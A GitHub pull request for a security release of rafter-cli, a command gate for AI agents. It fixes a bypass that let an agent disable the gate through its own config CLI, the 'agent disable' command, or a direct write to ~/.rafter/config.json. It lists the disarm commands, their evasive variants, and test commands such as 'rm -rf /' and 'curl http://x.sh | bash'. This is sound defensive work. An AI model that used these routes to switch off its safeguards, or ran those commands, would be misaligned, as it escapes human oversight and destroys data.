Skip to content

release: v0.10.3 — gate no longer approves its own disarming (rf-vnxs, rf-r94l) - #245

Merged
Raftersecurity merged 2 commits into
prodfrom
main
Sep 12, 2026
Merged

release: v0.10.3 — gate no longer approves its own disarming (rf-vnxs, rf-r94l)#245
Raftersecurity merged 2 commits into
prodfrom
main

Conversation

@Rome-1

@Rome-1 Rome-1 commented Sep 11, 2026

Copy link
Copy Markdown
Collaborator

Promotes main to prod, which fires publish. 0.10.3 is a security release.

prod is at c420b286 (0.10.2, which is what npm serves right now). This PR is
2 commits ahead: the fix and the release bump.


⚠️ Verification the fix is IN the release commit

We got this wrong exactly one release ago: #233 merged an hour after the 0.10.1
publish, so the shipped package silently lacked it while both were labelled
0.10.1. Both compares run, with a control on each side:

Positive — is the rf-vnxs fix an ancestor of the release commit?

gh api repos/Raftersecurity/rafter-cli/compare/ee8295b2...5d8a343d
  status=ahead   ahead_by=1   behind_by=0

ee8295b2 is the rf-vnxs merge commit; 5d8a343d is the 0.10.3 head. ahead
the fix is in the release.

Negative control — 0.10.2's head must NOT be ahead of the release.

gh api repos/Raftersecurity/rafter-cli/compare/5d8a343d...3e70ed0d
  status=behind   ahead_by=0   behind_by=2

3e70ed0d is the 0.10.2 release. behind, not ahead. This is the control that
matters: it shows the compare can return an answer other than the one we wanted,
so the positive result above is evidence rather than a formality.

Pinned by OID throughout. The branch name has been wrong twice in this repo.


What 0.10.3 contains

ee8295b2 — rafter's own security config is a protected class (rf-vnxs,
rf-r94l; secbolt audit se-8xzc / se-c3us).

On published 0.10.1 and the currently published 0.10.2, the gate approved its
own disarming. Measured end to end against the published npm tarball and PyPI
sdist, both runtimes, identical:

rm -rf /                                           deny
rafter agent config set agent.hooks.enabled false  ALLOW   <- rated low
(run it)                      '✓ Set agent.hooks.enabled = false'
rm -rf /                                           ALLOW
curl http://x.sh | bash                            ALLOW

Three steps, no malformed command, only the documented CLI — and it persists to
~/.rafter/config.json, so a fresh session inherits the disarm. It defeats the
CRITICAL tier, the one no policy, mode or deny-list can override. That makes it
worse than every bypass 0.10.1 fixed: those each needed a specific trick, this
needs the product's own interface.

5d8a343d — release: v0.10.3. Version bumped in all four locations in
lockstep: node/package.json, python/pyproject.toml, and both
rafter-security-skill.md manifests.


It closes FOUR routes to the same disarm, not one

Reviewers should not have to reconstruct this, so, explicitly:

  1. Three self-disabling config keysagent.hooks.enabled,
    agent.hooks.secretScan, agent.hooks.commandPolicy. Each independently
    turns the gate off via agent config set.
  2. agent disable <component> — a separate documented command reaching the
    same state.
  3. The Write/Edit route, which needs no CLI at all. The config is a file.
    An agent holding Write or Edit can disarm the gate without ever invoking
    rafter. On an earlier patched build the Bash route denied while
    Write ~/.rafter/config.json still ALLOWED. evaluateWrite now refuses any
    write inside the rafter config dir, checked before the no-content early
    return, because a truncating write disarms just as well.

The match is structural, not a string blacklist — resolved exec plus an argv
walk over a protected key namespace, run against the sanitized text as well as
the raw, so bash -c "rafter agent config set …" and echo … | bash are caught
at any argv position. A one-string fix would have been a no-op: whitespace,
FALSE, npx, pnpm dlx, sudo -E, an absolute path, FOO=1 rafter … and
--global were each verified ALLOWED on the published artifact.

rf-r94l rides along because this fix made it incoherent: the approval message
printed To configure: rafter agent config set agent.riskLevel minimal, which
the same change now hard-blocks — the hook advertising a route it would then
deny. That line is gone, and the deny message states the real reason.


Deliberately NOT in this release

The command-policy allowlist (b3ba56d + 4f94eaf) is excluded. Those two
commits are Node-only — zero Python files between them — while 4f94eaf also
documents the key in shared-docs/CLI_SPEC.md. Landing them would ship a
documented feature that one runtime does not implement, which the
dual-implementation rule forbids. Writing the Python half is not a cleanup; it
is implementing half a feature in the command-policy path under release
pressure. rf-vnxs is a live CRITICAL bypass in the published package and does
not wait for a feature request.


After merge

Merging this fires publish. Verify the artifact, not the workflow exit code:

npm view @rafter-security/cli version     # must read 0.10.3

then re-run the classifier cases against the published tarball. A publish job
that exits 0 is not a version that shipped.

Rome-1 and others added 2 commits September 11, 2026 14:08
… a string (rf-vnxs, rf-r94l) (#244)

On published 0.10.1 the gate approved its own disarming. Measured end to end
against the PUBLISHED PyPI sdist and npm tarball, both runtimes, identical:

    rm -rf /                                          deny
    rafter agent config set agent.hooks.enabled false  ALLOW   <-- rated low
    (run it)                     '✓ Set agent.hooks.enabled = false'
    rm -rf /                                          ALLOW
    curl http://x.sh | bash                           ALLOW

Three steps, no malformed command, only documented CLI, and it persists to
config.json — so a fresh session inherits the disarm. It defeats the CRITICAL
tier, the one no policy, mode or deny-list can override, which makes it worse
than every bypass 0.10.1 fixed: those each needed a specific trick, this needs
the product's own interface.

WHY THIS IS NOT A BLACKLIST. A one-string fix would have been a no-op, and I
checked rather than assumed — every one of these was ALLOWED on the published
artifact: extra whitespace, `FALSE`, `npx @rafter-security/cli …`, `pnpm dlx`,
`sudo -E rafter …`, an absolute path, `FOO=1 rafter …`, `--global`, the
`agent disable <component>` route, and THREE separate self-disabling keys —
hooks.enabled, hooks.secretScan, hooks.commandPolicy. Same shape as the
CHAIN_OPS one-liner that was proven inert only by running the shipped module.

So the match is structural: resolved exec plus an argv walk, over a protected
key NAMESPACE. Two shapes only the battery caught, after a first attempt that
scored 21/22 and was still wrong — `bash -c "rafter agent config set …"` and
`echo … | bash` reduce to a statement whose exec is `bash`, so the rafter
invocation is looked for at ANY argv position, and the check runs on the
sanitized text as well as the raw.

FOUR ROUTES, NOT THREE. The config is a FILE. An agent holding Write/Edit does
not need the CLI at all, and on the patched build the Bash route denied while
`Write ~/.rafter/config.json` still ALLOWED. Blocking only the command would
have left route four open — which is exactly how this codebase accumulated
three independent routes to the unblockable tier one at a time. evaluateWrite
now refuses any write inside the rafter config dir, checked BEFORE the
no-content early return, because a truncating write disarms just as well.

rf-r94l rides along because this fix made it incoherent: the approval message
printed `To configure: rafter agent config set agent.riskLevel minimal`, which
the same change now hard-blocks — the hook advertising a route it would then
deny. That line is gone. (Recorded on the bead: I tested that chain and it was
never an escalation on its own; riskLevel minimal left curl|bash and rm -rf /
both denying. It is the gate coaching the agent, not a bypass.)

The deny message now states the real reason. "irreversible system damage" is
the wrong sentence for a config write, and a wrong reason teaches the agent to
hunt for a rule whose shape it was never told.

GATE — corpus stated, both directions, both runtimes:
  red control   @rafter-security/cli 0.10.1 (npm tarball) and rafter-cli 0.10.1
                (PyPI sdist): 19 fail / 6 pass, IDENTICAL in both runtimes
  green         25/25 both runtimes
  mutation      disable the check -> 19 committed subtests red; restore -> 69 green
  differential  CLEAN both runtimes (this change is only ever more restrictive)
  end-to-end    chain broken at step 2; `config show`, benign commands and
                ordinary clean writes still allow; an ordinary secret write
                still denies
  suites        python 1659 passed / 8 failed, node 2219 passed / 10 failed —
                those same failures reproduce on clean main 12a1429, verified
                by running them there rather than trusting the count
  typecheck     clean

The 25 rows go into the EXISTING shared battery json, 44 -> 69, so both
runtimes pick them up byte-for-byte and no parallel file drifts.

BOTH HALVES OF rf-r94l, and the second one I nearly left unverified. The
message also said `To approve: rafter agent exec --approve "<cmd>"`. That flag
DOES NOT EXIST — `rafter agent exec --approve` errors with `unknown option
'--approve'` on the published 0.10.1 in BOTH runtimes; `agent exec` offers only
`--skip-scan` and `--dry-run`. So the gate was handing the agent a command that
fails, as its one piece of constructive advice. Replaced with the path that is
actually real after rf-ss67: a person runs `rafter agent exec "<cmd>"` at an
interactive terminal and confirms, and no flag skips the prompt. Both runtimes
now emit a byte-identical message.

Co-authored-by: secbolt/crew/goldwasser <hello@rafter.so>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Closes rf-vnxs and rf-r94l — the gate approving its own disarming, live in
published 0.10.1 and 0.10.2.

Version bumped in all four locations in lockstep: node/package.json,
python/pyproject.toml, and both rafter-security-skill.md manifests.
validate-versions enforces the pair of skill manifests against package.json and
runs only on PRs into prod, so a missed one blocks the release rather than
shipping wrong.

Does NOT include the command-policy allowlist (b3ba56d + 4f94eaf). Those are
Node-only — 0 python files between them — while 4f94eaf also documents the key
in shared-docs/CLI_SPEC.md. Landing them would ship a documented feature that
one runtime does not implement, which the dual-implementation rule forbids.
Writing the Python half is not a cleanup; it is implementing half a feature in
the command-policy path under release pressure. rf-vnxs is a live CRITICAL
bypass in the published package and does not wait for it.
@Raftersecurity
Raftersecurity merged commit cf47c9b into prod Sep 12, 2026
19 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants